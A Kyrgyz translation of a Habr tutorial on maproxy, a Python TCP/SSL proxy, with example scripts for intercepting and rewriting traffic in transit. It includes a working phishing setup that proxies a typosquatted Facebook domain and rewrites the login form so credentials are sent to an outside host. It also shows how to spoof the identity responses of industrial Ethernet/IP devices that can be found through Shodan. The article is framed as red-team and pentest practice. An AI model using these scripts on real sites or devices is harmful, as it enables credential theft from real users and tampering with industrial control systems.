Макаланын котормосу курстун башталышынын алдында даярдалган
жалпылаган
Коопсуздукту баалоонун ар кандай түрлөрү, үзгүлтүксүз кирүүгө тестирлөөдөн жана Red Team операцияларынан баштап IoT/ICS түзмөктөрүн жана SCADAны бузууга чейин, бинардык тармак протоколдору менен иштөөнү камтыйт, башкача айтканда, кардар менен максаттуу ортосундагы тармактык маалыматтарды кармап туруу жана өзгөртүү. Тармак трафигин жыттоо кыйын иш эмес, анткени бизде Wireshark, Tcpdump же Scapy сыяктуу куралдар бар, бирок модификация көбүрөөк эмгекти көп талап кылат окшойт, анткени тармактык маалыматтарды окуу, аны чыпкалоо, өзгөртүү үчүн кандайдыр бир интерфейске ээ болушубуз керек болот. аны учуп, аны дээрлик реалдуу убакытта максаттуу хостко жөнөтүңүз. Кошумчалай кетсек, эгерде мындай курал бир нече параллелдүү туташуулар менен автоматтык түрдө иштей алса жана скрипттерди колдонуу менен ыңгайлаштырылса идеалдуу болмок.
Бир күнү мен бир куралды таптым
, документация мага муну тез эле тушундурду maproxy
- мага эмне керек. Бул абдан жөнөкөй, ар тараптуу жана оңой конфигурациялануучу TCP проксиси. Мен бул куралды бир нече татаал тиркемелерде, анын ичинде ICS түзмөктөрүндө (көп пакеттерди жаратуучу) сынап көрдүм, ал көптөгөн параллелдүү туташууларды иштете аларын жана курал жакшы иштеген.
Бул макала сизди тармактык маалыматтарды ылдам иштетүү менен тааныштырат maproxy
.
жалпы көрүнүш
курал maproxy
Торнадо негизделген, Pythonдогу популярдуу жана жетилген асинхрондук тармактык алкак.
Жалпысынан алганда, ал бир нече режимде иштей алат:
TCP:TCP
– шифрленбеген TCP байланыштары;TCP:SSL
иSSL:TCP
– бир тараптуу шифрлөө менен;SSL:SSL
- эки тараптуу шифрлөө.
Бул китепкана катары келет. Тез баштоо үчүн, сиз негизги чагылдырган мисал файлдарын колдоно аласыз
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1-жагдай – жөнөкөй эки багыттуу прокси
Негизинде tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
демейки боюнча ProxyServer()
эки аргумент алат - туташуу орду жана максаттуу порт. server.listen()
бир аргументти алат - кирүүчү байланышты угуу үчүн порт.
Сценарийди аткаруу:
# python tcp2tcp.py
Сыноону жүргүзүү үчүн, биз прокси скриптибиз аркылуу жергиликтүү SSH серверине туташып жатабыз. 2222/tcp
порт жана стандарттуу портко туташат 22/tcp
SSH серверлери:
Саламдашуу баннери биздин үлгү скрипт тармак трафигин ийгиликтүү проксиден өткөргөнүн билдирет.
2-жагдай – маалыматтарды өзгөртүү
Дагы бир демо скрипт logging_proxy.py
тармак маалыматтары менен өз ара аракеттенүү үчүн идеалдуу. Файлдагы комментарийлер максатыңызга жетүү үчүн өзгөртө турган класстын ыкмаларын сүрөттөйт:
Эң кызыгы бул жерде:
on_c2p_done_read
– кардардан серверге чейинки жолдо маалыматтарды кармап туруу;on_p2s_done_read
- тескери.
Келгиле, сервер кардарга кайтарып берген SSH баннерин өзгөртүүгө аракет кылалы:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Скриптти аткарыңыз:
Көрүнүп тургандай, кардар жаңылышты, анткени ал үчүн SSH серверинин аты өзгөртүлгөн «DumnySSH»
.
3-жагдай – жөнөкөй фишинг веб-баракчасы
Бул куралды колдонуу үчүн чексиз жолдору бар. Бул жолу келгиле, Кызыл команданын операциялары жагынан практикалык нерсеге токтололу. Десант баракчасын туурап көрөлү m.facebook.com
жана атайылап ката менен ыңгайлаштырылган доменди колдонуңуз, мисалы, m.facebok.com
. Көрсөтүү максатында, домен биз тарабынан катталган деп коёлу.
Биз курмандыктарыбыздын проксиси жана Facebook серверине SSL агымы менен шифрленбеген тармак байланышын орнотобуз (31.13.81.36
). Бул мисалдын иштеши үчүн, HTTP хостунун башын алмаштырышыбыз керек жана туура хост атын сайышыбыз керек, ошондой эле мазмунга оңой жетүү үчүн жооп кысуусун өчүрөбүз. Акыр-аягы, биз HTML формасын алмаштырабыз, ошондуктан логиндин дайындары Facebook серверлеринин ордуна бизге жөнөтүлөт:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/ky/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Жыйынтыгында:
Көрүнүп тургандай, биз баштапкы сайтты ийгиликтүү алмаштыра алдык.
4-жагдай – Ethernet/IP порттору
Мен бир топ убакыттан бери өнөр жай шаймандары жана программалык камсыздоо (ICS/SCADA) менен алектенип келем, мисалы, программалануучу контроллерлор (PLC), киргизүү/чыгаруу модулдары, дисктер, релелер, шаты программалоо чөйрөлөрү жана башка көптөгөн нерселер. Бул иш өнөр жай нерселерди жакшы көргөндөр үчүн. Мындай чечимдерди хакерлик кылуу тармак протоколдору менен активдүү ойноону камтыйт. Төмөнкү мисалда ICS/SCADA тармак трафигин кантип өзгөртүүгө болорун көрсөткүм келет.
Бул үчүн сизге төмөнкүлөр керек болот:
- Тармактык снайфер, мисалы, Wireshark;
- Ethernet/IP же жөн гана SIP түзмөгү, сиз аны Shodan кызматы аркылуу таба аласыз;
- Биздин сценарийдин негизинде түзүлгөн
maproxy
.
Биринчиден, CIP (Жалпы өнөр жай протоколу) типтүү идентификациялык жообу кандай экенин карап көрөлү:
Түзмөктүн идентификациясы CIP сыяктуу башкаруу протоколдорун камтыган өнөр жай Ethernet протоколунун өркүндөтүлгөн версиясы болгон Ethernet/IP протоколунун жардамы менен ишке ашат. Биз скриншотто көрүнгөн өзгөчөлөнгөн ID атын өзгөртөбүз "Ethernet үчүн NI-IndComm" прокси скриптибизди колдонуу. Скриптти кайра колдонсок болот logging_proxy.py
жана ушундай эле класстын ыкмасын өзгөртүү on_p2s_done_read
, анткени биз кардарда башка идентификациялык аталыштын көрүнүүсүн каалайбыз.
коду:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Негизи, биз эки жолу түзмөктүн идентификациясын сурадык, экинчи жооп оригиналдуу болду, ал эми биринчиси тез эле өзгөртүлдү.
акыркы
Менин көз карашымда maproxy
Ыңгайлуу жана жөнөкөй курал, ал дагы Python тилинде жазылган, андыктан сиз да аны колдонуудан пайда көрө аласыз деп ойлойм. Албетте, тармактык маалыматтарды иштеп чыгуу жана өзгөртүү үчүн татаал инструменттер бар, бирок алар дагы көбүрөөк көңүл бурууну талап кылат жана адатта белгилүү бир колдонуу учуру үчүн түзүлөт, мис. maproxy
мисалы скрипттер абдан түшүнүктүү болгондуктан, сиз тармактык маалыматтарды кармап калуу боюнча идеяларыңызды тез арада ишке ашыра аласыз.
Source: www.habr.com